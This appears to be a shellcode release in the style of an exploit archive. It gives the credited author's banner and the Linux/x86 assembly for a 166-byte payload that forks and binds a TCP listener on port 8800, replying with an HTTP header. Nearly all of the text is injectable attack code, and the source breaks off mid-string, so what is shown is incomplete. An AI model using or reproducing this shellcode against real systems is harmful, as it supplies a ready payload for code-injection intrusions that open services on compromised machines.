/* _ __ __ ___ __ | |/ /__ ____ ____ / |/ /_ __/ /_____ _ | / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/ / / __/ / / / /_/ / / / / /_/ / /_/ /_/ / /_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/ xenomuta\x40phreaker\x2enet http://xenomuta.tuxfamily.org/ - Methylxantina 256mg Description: a linux/x86 shellcode that forks a HTTP Server on port tcp/8800 OS: Linux Arch: x86 Length: 166 bytes Author: XenoMuta hola at: str0k3, garay, fr1t0l4y, emra. - God bless you all - ==== SOURCE CODE ==== .globl _start _start: xor %eax, %eax mov $0x02, %al int $0x80 test %eax, %eax jz socket xor %eax, %eax incb %al int $0x80 txt: pop %ecx movb $27, %dl int $0x80 close: movb $0x6, %al mov %esi, %ebx int $0x80 exit: mov $0x01, %al xor %ebx, %ebx int $0x80 socketcall: pop %esi mov $0x66, %al incb %bl mov %esp, %ecx int $0x80 jmp *%esi socket: cltd xor %eax, %eax xor %ebx, %ebx push $0x6 push $0x1 push $0x2 call socketcall bind: mov %eax, %edi xor %edx, %edx push %edx pushw $0x6022 pushw %bx mov %esp, %ecx push $0x10 push %ecx push %edi call socketcall listen: inc %bl push $0x05 push %edi call socketcall accept: xor %ecx, %ecx push %edx push %edx push %edi call socketcall fork: mov %eax, %esi xor %eax, %eax mov $0x02, %al int $0x80 test %eax, %eax jz write xor %eax, %eax mov $0x06, %al mov %esi, %ebx int $0x80 xor %eax, %eax xor %ebx, %ebx mov $0x04, %bl jmp accept write: mov %esi, %ebx mov $0x04, %al call txt .string "HTTP/1.0 200\r\n\r\n